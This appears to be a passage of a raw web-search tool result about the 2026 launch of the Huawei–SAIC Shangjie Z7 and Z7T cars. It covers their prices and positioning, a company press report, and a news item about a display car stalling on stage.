重新定义科技轿跑\\n\\n03:24\\n\\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\\n\\n08:19\\n\\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\\n\\n01:37\\n\\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\\n\\n06:06\\n\\n王姨带你看车圈-...\\n\\n8. 尚界Z7 售价21.98 万起满配上市\\n 🔗 https://www.zhihu.com/question/2030295130230477843\\n 📄 4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸\\n\\n9. 尚界Z7 | Z7T - 鸿蒙智行官网\\n 🔗 https://hima.auto/shangjie/z7-z7t\\n 📄 # 尚界 Z7 Z7T\\n\\n 尚界 Z7 及 Z7T KV\\n\\n\\\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\\n\\n俯身向前,用速度开路。 \\n 双面姿态,亮内在锋芒。\\n\\n不羁美学,猎装,猎风,猎未知之境。 \\n 风尚轿跑,无拘,无畏,抵无边自由。\\n\\n问界 M8 \\n\\n## 型色并茂, 独你闪耀。\\n\\n问界 M8 \\n\\n## 自在...\\n\\n10. 轿车猎装二选一!尚界Z7 是有点好玩在身上的\\n 🔗 https://www.youtube.com/watch?v=Xi5Q90G0U7E\\n 📄 # 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\\n## 42HOW\\n12100 subscribers\\n10 likes\\n\\n### Description\\n787 views\\nPosted: 3 Apr 2026\\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\\n\\n1 comments\\n### Transcript:\", \"query\": \"尚界Z7 华为 上汽 轿车 发布\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\", \"url\": \"https://chejiahao.autohome.com.cn/info/24687213\"}, {\"index\": 2, \"title\": \"华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\", \"url\": \"https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\"}, {\"index\": 3, \"title\": \"尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\", \"url\": \"https://zhuanlan.zhihu.com/p/2012843367285945611\"}, {\"index\": 4, \"title\": \"余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\", \"url\": \"https://stcn.com/article/detail/3661702.html\"}, {\"index\": 5, \"title\": \"上汽集团官网\", \"url\": \"https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\"}, {\"index\": 6, \"title\": \"尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\", \"url\": \"https://www.epochtimes.com/b5/26/4/22/n14747517.htm\"}, {\"index\": 7, \"title\": \"尚界Z7\", \"url\": \"https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\"}, {\"index\": 8, \"title\": \"尚界Z7 售价21.98 万起满配上市\", \"url\": \"https://www.zhihu.com/question/2030295130230477843\"}, {\"index\": 9, \"title\": \"尚界Z7 | Z7T - 鸿蒙智行官网\", \"url\": \"https://hima.auto/shangjie/z7-z7t\"}, {\"index\": 10, \"title\": \"轿车猎装二选一!尚界Z7 是有点好玩在身上的\", \"url\": \"https://www.youtube.com/watch?v=Xi5Q90G0U7E\"}]}", "timestamp": "2026-08-23T13:33:35.298827", "message_id": "msg_2383907ad8a84e7cbb479d94086c87ee", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: 尚界Z7 华为 上汽 轿车 发布\n📅 搜索时间: 2026-08-23T13:33:35.212346\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. 尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n 🔗 https://chejiahao.autohome.com.cn/info/24687213\n 📄 移动App触屏版小程序i车商本地服务\n\n扫码打开汽车之家小程序\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n当前位置:\n\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n\n车图腾\n\n车家号·0浏览·2026-01-07 20:20 · 北京\n\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一...\n\n2. 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\n 🔗 https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\n 📄 The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the H...\n\n3. 尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\n 🔗 https://zhuanlan.zhihu.com/p/2012843367285945611\n 📄 尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳\n\n4. 余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\n 🔗 https://stcn.com/article/detail/3661702.html\n 📄 与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\n\n鸿蒙智行累计交付128万辆\n\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\n\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵...\n\n5. 上汽集团官网\n 🔗 https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\n 📄 一、对准用户,方能校准自己\n\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\"更敏捷地响应用户与市场\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\n\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品...\n\n6. 尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\n 🔗 https://www.epochtimes.com/b5/26/4/22/n14747517.htm\n 📄 「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\n\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\n\n責任編輯:任子君#\n\n標籤\n\n華為鴻蒙智行尚界Z7趴窩\n\n相關專題:\n\n夏松報導\n\n## 相關文章\n\n小鵬汽車方向機頻頻失靈 ...\n\n7. 尚界Z7\n 🔗 https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\n 📄 06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24\n\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\n\n08:19\n\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\n\n01:37\n\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\n\n06:06\n\n王姨带你看车圈-...\n\n8. 尚界Z7 售价21.98 万起满配上市\n 🔗 https://www.zhihu.com/question/2030295130230477843\n 📄 4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸\n\n9. 尚界Z7 | Z7T - 鸿蒙智行官网\n 🔗 https://hima.auto/shangjie/z7-z7t\n 📄 # 尚界 Z7 Z7T\n\n 尚界 Z7 及 Z7T KV\n\n\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\n\n俯身向前,用速度开路。 \n 双面姿态,亮内在锋芒。\n\n不羁美学,猎装,猎风,猎未知之境。 \n 风尚轿跑,无拘,无畏,抵无边自由。\n\n问界 M8 \n\n## 型色并茂, 独你闪耀。\n\n问界 M8 \n\n## 自在...\n\n10. 轿车猎装二选一!尚界Z7 是有点好玩在身上的\n 🔗 https://www.youtube.com/watch?v=Xi5Q90G0U7E\n 📄 # 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\n## 42HOW\n12100 subscribers\n10 likes\n\n### Description\n787 views\nPosted: 3 Apr 2026\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\n\n1 comments\n### Transcript:", "filters": {"topic": "general"}, "query": "尚界Z7 华为 上汽 轿车 发布", "results": [{"index": 1, "title": "尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?", "url": "https://chejiahao.autohome.com.cn/info/24687213", "content": "移动App触屏版小程序i车商本地服务\n\n扫码打开汽车之家小程序\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n当前位置:\n\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n\n车图腾\n\n车家号·0浏览·2026-01-07 20:20 · 北京\n\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一款高端轿跑车型,并称其外观可比肩某款欧洲百万级车型。\n\n根据官方发布的预告图,我们看到,尚界Z7的侧面造型与保时捷纯电车型Taycan颇有几分相似之处。车头部分则延续了尚界H5的家族风格,车顶配有激光雷达硬件;侧面车门处采用隐藏式门把手,并配有大尺寸轮圈。此外,车尾的尾灯造型与Taycan看上去比较接近。\n\n与此同时,网络上也流传了一张尚界Z7猎装版车型的谍照。可以看到,新车尾部造型颇为饱满,预计会有不错的储物空间。现阶段,官方并未公布新车的动力参数、具体配置、售价等更多信息,后续我们将持续关注。\n\n本内容来自汽车之家创作者,不代表汽车之家的观点和立场。\n\n文章标签\n\n车系标签\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n举报/纠错\n\n文中提及\n\n尚界Z7\n\n21.98-29.98万\n\n4.46\n\n本文作者\n\n车图腾\n\n车图腾4.4万关注 · 1.0万作品\n\n关注\n\n让你涨姿势的汽车自媒体\n\n作者其他作品\n\n进入主页\n\n腾势Z硬顶版将于成都车展亮相,敞篷版新增配色,预售68万元起\n\n### 腾势Z硬顶版将于成都车展亮相,敞篷版新增配色,预售68万元起\n\n昨天 23:08全新一代奇瑞艾瑞泽7专利图曝光!设计大变 更时尚,成都车展亮相\n\n### 全新一代奇瑞艾瑞泽7专利图曝光!设计大变 更时尚,成都车展亮相\n\n昨天 22:442027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相 [...] 昨天 22:442027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相\n\n### 2027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相\n\n昨天 22:26比亚迪大汉将于成都车展开启预售!定位大型车,纯电版续航1008km\n\n### 比亚迪大汉将于成都车展开启预售!定位大型车,纯电版续航1008km\n\n昨天 22:06\n\n影响力榜单\n\n热门内容\n\n 今日\n 本周\n\n换一换\n\n试驾福特蒙迪欧运动版:V6感觉、A级车油耗,兼顾激情与家用!\n\n07:21\n\n### 试驾福特蒙迪欧运动版:V6感觉、A级车油耗,兼顾激情与家用!\n\n前天 23:29谁说硬派就等于受罪?泰钽700第一个不服\n\n06:43\n\n### 谁说硬派就等于受罪?泰钽700第一个不服\n\n昨天 13:47烂路山路都能打,MG07辅助驾驶有短板吗?\n\n04:08\n\n### 烂路山路都能打,MG07辅助驾驶有短板吗?\n\n昨天 01:04理想L6我的全能伙伴\n\n11:48\n\n### 理想L6我的全能伙伴\n\n昨天 08:47\n\n精彩视频\n\n换一换\n\n年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n07:29\n\n### 年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n玩车教授\n\n预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n14:08\n\n### 预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n爱车兵团\n\n双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n14:57\n\n### 双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n玩车教授圆梦 20W 级纯电轿跑,谁才是你的专属答案 [...] 双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n玩车教授圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n16:21\n\n### 圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n新出行\n\n新车资讯\n\n扫码下载汽车之家App\n\n© 2026汽车之家 www.autohome.com.cn\n\n京公网安备 11010802000104号 \n京ICP备09113703号-1 \n信息网络传播视听节目许可证: 0110553 \n广播电视节目制作经营许可证 \n公司名称:北京车之家信息技术有限公司 \n中央网信办违法和不良信息举报中心 \n违法和不良信息举报电话:400-868-5856 \n举报邮箱:jubao@autohome.com.cn\n\n隐私协议营业执照\n\n2026/8/18 00:14:26", "score": 0.84183896, "published_date": ""}, {"index": 2, "title": "华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing", "url": "https://www.youtube.com/watch?v=Q3uhQ7BjVtQ", "content": "The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the Huawei Turing platform across the entire lineup, the SAIC Z7 delivered outstanding performance in multiple rigorous tests under extreme cold and snowy conditions. Combined with its strikingly designed coupe silhouette, it achieves a dual presentation of aesthetics and capability. As a product backed by the combined technological strengths of SAIC and Huawei, the SAIC Z7's debut has generated significant market anticipation for its market performance, demonstrating its potential to make a strong impact in the premium coupe segment. [...] ### Description\n6418 views\nPosted: 1 Mar 2026\n尚界品牌全新高端轿跑尚界Z7冬测无伪装实车的首次公开亮相,也是其核心性能的全方位展示。依托全系搭载的华为途灵平台,尚界Z7在极寒冰雪环境的多重严苛测试中表现亮眼,结合极具设计感的轿跑造型,实现了颜值与实力的双重呈现。作为上汽与华为双强技术背书的产品,尚界Z7的亮相让市场对其上市表现充满期待,也展现出其冲击高端轿跑市场的实力。 [...] # 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\n## CN.科技发布会\n24100 subscribers\n105 likes", "score": 0.81665546, "published_date": ""}, {"index": 3, "title": "尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏", "url": "https://zhuanlan.zhihu.com/p/2012843367285945611", "content": "尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳", "score": 0.78552294, "published_date": ""}, {"index": 4, "title": "余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报", "url": "https://stcn.com/article/detail/3661702.html", "content": "与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\n\n鸿蒙智行累计交付128万辆\n\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\n\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵,全面覆盖从主流到高端的智能电动汽车市场。截至2026年3月3日,鸿蒙智行累计交付量达128万辆。\n\n值得一提的是,鸿蒙智行与江淮打造的尊界S800上市9个月累计交付超1.5万辆,连续5个月稳居国内百万级豪车销量冠军。\n\n发布新一代激光雷达技术\n\n辅助驾驶、智能驾驶仍是行业关注的热点。\n\n余承东透露,超九成鸿蒙智行用户使用辅助驾驶功能。鸿蒙智行已全系升级华为乾崑智驾ADS 4.1,辅助驾驶体验与安全能力实现全面跃升,辅助驾驶总里程达3.73亿公里,相比去年春节增长210%,辅助驾驶活跃用户占比达92%。\n\n在3月4日发布会上,华为智能汽车解决方案BU CEO靳玉志正式发布了新一代双光路图像级激光雷达。该技术在行业内首创双光路架构,广角长焦一体成像,实现图像级细节呈现,分辨率提升4倍,全方位守护全场景出行安全。据介绍,该款激光雷达产品线束达到896线,为目前全球量产最高规格,对小目标、低反射率与异型障碍物的感知距离进一步提升。\n\n据悉,鸿蒙智行旗下问界M9旗舰版与尊界S800将成为首批首发搭载车型。\n\n迎合年轻人的新车来了\n\n在发布会尾声,余承东带来了一组“彩蛋”——继尚界H5后,鸿蒙智行与上汽联合推出迎合年轻人的全新车型:尚界Z7与尚界Z7T。 [...] 余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”,从车身高级型面到都市流光大灯,充分满足年轻用户的个性化表达。新车推出电光紫粉配色,并提供多种个性化车色选择,全方位覆盖年轻用户的多元审美偏好。\n\n内饰方面,尚界Z7首发随动四维屏,支持前后伸缩和左右旋转,可自动转向、智能迎宾,呼叫小艺即可转向应答,人机交互更智能、更有趣,满足年轻人的情绪价值。\n\n与此同时,鸿蒙智行还发布了首款猎装车型——尚界Z7T,定位风尚科技猎装。该车拥有前卫运动的造型、更自由的装载空间,平衡个性颜值与实用性,满足年轻人更多元的户外用车场景需求。\n\n业内人士分析,从主打高颜值、运动化设计和命名策略来看,尚界Z7与Z7T可能对标小米SU7、小鹏P7等热门年轻化车型,进一步丰富鸿蒙智行在主流消费市场的产品矩阵。\n\n对于尚界Z7及Z7T的更多细节,余承东透露,预计将在3月底揭晓更多信息。\n\n排版:刘珺宇\n\n校对:刘星莹\n\n责任编辑: 高蕊琦\n\n券商中国\n\n深圳\n\n声明:证券时报力求信息真实、准确,文章提及内容仅供参考,不构成实质性投资建议,据此操作风险自担\n\n下载\"证券时报\"官方APP,或关注官方微信公众号,即可随时了解股市动态,洞察政策信息,把握财富机会。\n\n用户评论\n\n登录后可以发言\n\n网友评论仅供其表达个人看法,并不表明证券时报立场\n\n发表评论\n\n暂无评论\n\n时报热榜\n\n换一换\n\n \n\n热点视频\n\n换一换\n\n关于我们|服务条例|联系我们|版权声明|网站地图|线索提交\n\n备案号:粤ICP备09109218号-7|增值电信业务经营许可证:粤B2-20080118|互联网新闻信息服务许可证10120170066|粤公网安备44030002008846号\n\n违法和不良信息举报电话:0755-83514034 邮箱:bwb@stcn.com 中央网信办违法和不良信息举报中心|证券时报网举报中心 [...] 移动版 网页版)\n\n \n\n 首页\n 快讯\n 新闻 \n\n 要闻 金融 评论 产经 创投 滚动\n 视频 \n\n 视频 直播 路演\n 投资 \n\n A股 公司 新股 基金 港美股\n 数据 \n\n 数据资讯 盯盘面 看资金 追风向 解财报 淘新股 再融资 港股 基金 科创板\n 信披+ \n\n 全部 沪市主板 深市主板 科创板 创业板 北交所 新三板 深股通 沪股通\n 专题\n 地方 \n\n 京 津 冀 晋 蒙 辽 吉 黑 沪 苏 浙 皖 闽 赣 鲁 豫 鄂 湘 粤 桂 琼 渝 川 黔 滇 藏 陕 甘 青 宁 新 鹏\n 服务 \n\n 人民鉴真 投关服务 投教服务 其他服务\n\n公众号\n\n 电子报 客户端 \n\n您当前的位置:证券时报 > 公司 > 正文\n\n余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相\n\n来源:证券时报网作者:胡飞军2026-03-04 20:47\n\n字号\n\n超大\n\n大\n\n标准\n\n小\n\n点赞\n\n分享\n\n华为鸿蒙智行又有新动作。\n\n3月4日,华为在深圳举办鸿蒙智行技术焕新发布会。华为常务董事、产品投资评审委员会主任、终端BG董事长余承东在发布会上披露,截至3月3日,鸿蒙智行全系累计交付量已达128万辆。其中,尊界S800上市9个月累计交付超1.5万辆,连续5个月稳居国内百万级豪车销量榜首。\n\n在技术层面,鸿蒙智行重点发布了业界首创的新一代双光路图像级激光雷达技术。该技术通过广角与长焦一体成像,实现图像级细节呈现,分辨率提升,进一步强化全场景出行安全守护能力。", "score": 0.7668008, "published_date": ""}, {"index": 5, "title": "上汽集团官网", "url": "https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml", "content": "一、对准用户,方能校准自己\n\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\"更敏捷地响应用户与市场\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\n\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品牌 \"尚界\" ,首款车H5融合华为智能技术与上汽制造体系,上市后精准切入家庭用户对\"耐用、安全、高智能\"的需求,迅速打开市场,单月销量迅速破万。第二台定位轿跑的尚界Z7也预计在今年春天上市,仅公布了局部照,就被称为\"最美鸿蒙\"。\n\n尚界Z7的侧脸图\n\n 常青树品牌\"荣威\",依托DMH超级混动技术,深耕\"可靠、舒适、长续航\"的主流家用市场,让高端配置成为国民标配。MG品牌则以年轻姿态进入全球视野,用\"年轻、风尚、智趣\"的基因吸引追求个性和驾驶乐趣的用户,以Cyberster 的个性创新和MG4的技术平权,夯实自己的\"潮牌\"属性。智己作为上汽集团全力打造的高端品牌,是旗舰技术的最佳载体。LS6和LS9相互配合,合力攻占20万和30万级两大核心赛道,成为驱动销量增长和品牌向上的绝对主力。几大品牌各司其职,共同构成了覆盖不同价格带和不同用户圈层的自主梯队。\n\n 其二,是合资品牌升级焕新,推动合资板块进入2.0阶段。上汽通用别克推出高端子品牌\"至境\",旗下新能源MPV至境世家打造了行业首个\"五恒\"健康座舱,让用户畅快呼吸;上汽奥迪推出全新AUDI品牌,积极融入本土智能化浪潮。大众ID.系列在保持德系驾控基因的同时,智舱智驾全面向\"中国速度\"看齐,配齐主流科技配置,进军主流市场。\n\n即将上市的上汽大众ID.ERA 9X [...] 即将上市的上汽大众ID.ERA 9X\n\n 还有搭载华为乾崑智能辅助驾驶技术的上汽奥迪A5L Sportback、搭载文心一言和DeepSeek的途观L Pro,从这些产品可以看出,合资车型不再只是\"全球车\"简单粗暴地导入,而是带上了鲜明的\"中国烙印\",切实满足本地化需求。这场\"鸡蛋从内打破\"的变革,逻辑非常朴素:只有内部组织先对准用户,外部产品才能对准需求。\n\n二、朋友圈越大,能力拼图越全\n\n 为了满足用户对汽车产品日益复杂的要求和极高的期待,2025年,上汽集团提出整零协同、美美与共的概念,把\"开放合作\"写进战略核心。一是\"强强联合\",快速提升用户体验。与华为的深度合作,让尚界品牌在智能驾驶与座舱体验上拥有了\"一步到位\"的成熟体验;与OPPO的\"手车互联\",让数字生活无缝上车;与豆包共创的AI车机,则旨在提供更有\"活人感\"的交互体验;已注入华域汽车的固态电池龙头企业清陶动力,可以大大缓解里程和安全焦虑,给予用户物理层面的安心。\n\n 二是前瞻布局,为未来的用户进行价值投资。上汽2025年新增的投资中,有近七成新增投资投向了AI、人形机器人、高端制造等\"新质生产力\",并并聚焦芯片、材料等\"卡脖子\"环节。例如,投资视辰科技助力智驾系统迭代,布局宇树科技探索未来出行服务生态,通过华域汽车实现车规级MCU芯片的量产突破,联合宝钢股份研发高强钢等材料,投资恩捷股份构建电池电驱等材料的自主供应链。这并非为了自研一切,自造一切,而是以资本为线,串起产业链的珍珠。在充满不确定性的时代,编织一张可靠且领先的供应链网络,最终确保用户能持续用到稳定、先进的产品。\n\n三、技术标签,最终是为了用户体验 [...] 三、技术标签,最终是为了用户体验\n\n 所有的调整与合作,最终都要通过技术,转化为用户可感可知的价值。2025年,上汽将其技术体系凝练为\"智慧脑、健壮身、强劲心\"三大标签,并以此为基础,集中推出一批直击用户核心痛点的技术与产品——瞄准安全焦虑、续航焦虑与智能焦虑,逐一破题。\"智慧脑\"治\"智能焦虑\":智己IMAD 3.0的\"全国都能开\"无图NOA和\"一键AI代驾\",让用户面对复杂路况,也能从从容容游刃有余;尚界品牌左手拉着华为乾崑ADS,右手牵着鸿蒙座舱,提供的是\"到手即用\"的成熟无感体验。\n\n智己旗舰SUV—LS9\n\n \"健壮身\"治\"安全焦虑\":行业首装的半固态电池,低温性能更好,安全度更高,比行业最高标准再提20%以上,让用户踏踏实实地把心放肚子里。\"灵蜥数字底盘\"给予智己LS6仅4.79米的转弯半径,让用户能在狭窄巷道灵活穿梭,提升的是新手司机日常用车的便利与信心。\"强劲心\"治\"续航焦虑\":DMH6.0超级混动系统,热效率突破46.3%,荣威M7 DMH综合续航超2000公里,智己LS9的\"恒星超级增程\"续航高达1508公里……这些数字瞄准的,就是用户对补能、能耗和长途出行的根本顾虑。技术本身不是目的,解决问题才是。当\"固态电池\"、\"超级混动\"、\"智能辅助驾驶\"、\"数字底盘\"……从一个个技术名词,变成车主津津乐道的用车体验时,技术的价值才真正得以实现。这种将用户价值置于商业考量之前的决策,恰恰是基于长期主义的思考。\n\n四、出海,接受全球用户检验", "score": 0.72698855, "published_date": ""}, {"index": 6, "title": "尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元", "url": "https://www.epochtimes.com/b5/26/4/22/n14747517.htm", "content": "「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\n\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\n\n責任編輯:任子君#\n\n標籤\n\n華為鴻蒙智行尚界Z7趴窩\n\n相關專題:\n\n夏松報導\n\n## 相關文章\n\n小鵬汽車方向機頻頻失靈 懸掛系統屢屢趴窩陸國產電車尷尬:趴窩 數十輛車搶充電樁消息:華為生產出問題致汽車製造商推遲交付華為停止與中國三大汽車門戶網站合作\n\n如果您有新聞線索或資料給大紀元,請進入安全投稿爆料平台。\n\n## 留言\n\n 大紀元保留刪除惡意留言的權利,包括低俗、誤導或攻擊信仰等內容\n\nThe Epoch Times\n\n本網站圖文內容歸大紀元所有, 任何單位及個人未經許可,不得擅自轉載使用。\n\nCopyright© 2000 - 2026 The Epoch TimesAssociation Inc.All Rights Reserved.\n\nThe Epoch Times\n\n電子報關於我們授權與許可服務條款隱私政策投稿中心廣告服務捐助大紀元\n\n最新新聞\n\n 中國\n 國際\n 科技\n 體育\n\n 評論\n 台灣\n 財經\n 社會\n\n 美國\n 港澳\n 娛樂\n 網聞\n\n華人社區\n\n 紐約\n 洛杉磯\n 溫哥華\n 澳洲\n\n 舊金山\n 多倫多\n 歐洲\n 其它\n\n文化藝術\n\n 文化百科\n 人生感悟\n 史海鉤沉\n 教育園地\n 藝海漫遊\n\n 文明探索\n 文學世界\n 人物春秋\n 預言傳奇\n\n生活天地\n\n 房產天地\n 醫療保健\n 縱橫職場\n 旅遊休閒\n\n 留學移民\n 生活時尚\n 美食天地\n\n本網站圖文內容歸大紀元所有, 任何單位及個人未經許可,不得擅自轉載使用。 [...] 大紀元\n\n简体\n\n首頁即時中國美國國際評論台灣香港健康視頻聽紀元財經科技娛樂文化生活神韻\n\n首頁right arrow\n\n新聞right arrow大陸新聞right arrow\n\n科教文化right arrow文章正文\n\n# 尚界Z7展示車在新品發布會上被指「趴窩」\n\n2026年4月22日晚,在鴻蒙智行2026年春季新品發布會上,尚界Z7未與其它展車同步駛離舞台,賽力斯總裁講到問界M6時,該車輛仍在舞台中央,期間,駕駛員多次嘗試啟動未果並下車操作。(網絡截圖)\n\n2026-04-2300:44 中港台時間|04-2300:44 更新\n\n人氣853\n\n【大紀元2026年04月22日訊】(大紀元記者夏松報導)4月22日晚,在鴻蒙智行2026年春季新品發布會上,尚界Z7未與其它展車同步駛離舞台,賽力斯總裁講到問界M6時,該車輛仍在舞台中央。期間,駕駛員多次嘗試啟動未果並下車操作。隨即,尚界Z7「趴窩」成為網絡熱點。\n\n4月22日晚,在鴻蒙智行春季新品發布會上,華為常務董事、產品評審委員會主任、終端BG董事長余承東正式發布了尚界Z7、尚界Z7T、問界M6三款新車。目前,尚界Z7、Z7T已正式上市,售價分別為21.98萬元(人民幣,下同)起和22.98萬元起,問界M6起售價25.98萬元。\n\n不過,期間出現一段「插曲」,引發尚界Z7被質疑「趴窩」。\n\n現場視頻顯示,一輛粉紅色尚界Z7在發布會中途滯留舞台(點擊視頻),駕駛員多次嘗試啟動未果並下車操作,其它三台展車均正常離場。網友猜測「掛擋故障」。當晚,標籤為「鴻蒙智行發布會事故」「尚界Z7趴窩」「尚界Z7」等話題迅速發酵,一度登頂微博。 [...] 